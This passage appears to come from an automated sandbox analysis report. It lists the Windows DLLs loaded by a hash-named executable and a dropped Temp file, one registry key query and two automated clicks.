Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Automated click: OK
